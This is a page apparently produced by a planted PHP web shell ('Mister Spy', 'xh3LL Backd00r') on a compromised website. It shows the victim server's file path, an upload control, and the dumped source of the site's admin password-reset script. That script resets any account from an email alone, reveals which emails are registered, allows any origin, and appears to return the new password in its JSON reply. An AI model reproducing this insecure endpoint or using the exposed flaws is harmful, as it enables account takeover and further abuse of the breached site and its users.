Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-usuarios-password-reset.php

<?php

require_once('../inc_library.php');

/* obtiene datos del formulario */
$IdTipoUsuario	= intval($_REQUEST['IdTipoUsuario']);
$Email 			= strval($_REQUEST['email']);
$Submit			= 1;//(isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oUsuarios	= new Usuarios();
$oPaises	= new Paises();
$oGrupos	= new Grupos();

$arrResult = array();

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Content-type: application/json');

$oUsuario	= $oUsuarios->GetByLogin($Email, $IdTipoUsuario);

function RandomString()
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $randstring = '';
    for ($i = 0; $i < 8; $i++) {
        $randstring.= $characters[rand(0, strlen($characters))];
    }
    return $randstring;
}

/* si el formulario fue enviado */
if ($Submit)
{
	$errormsj = '';
	
	/* validaciones... */
	if ($Email == '')
		$errormsj = 'Debe ingresar su email.';
	if (!$oUsuario)
		$errormsj = 'El email no se encuentra registrado en nuestro sistema.';
	if (!$IdTipoUsuario)
		$errormsj = 'Debe especificar el tipo de usuario.';

	/* si no hay errores... */
	if ($errormsj == '')
	{	
		$oUsuario->Contrasenia			= RandomString();

		/* crea el usuario */
		$oUsuarios->ChangePassword($oUsuario);
		
		$oUsuario->SendMailChangePassword();

		$token = $oUsuario->GenerateRefreshToken();
		$accesstoken = $oUsuario->GenerateAccessToken();

		$oUsuario->Token = '';
		$oUsuario->AccessToken = '';
		
		$arrResult = array('result' => true, 'data' => $oUsuario);
	}
	else
	{
		$arrResult = array('result' => false, 'data' => $errormsj);
		
	}
	
	echo json_encode($arrResult);
	exit;
}
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat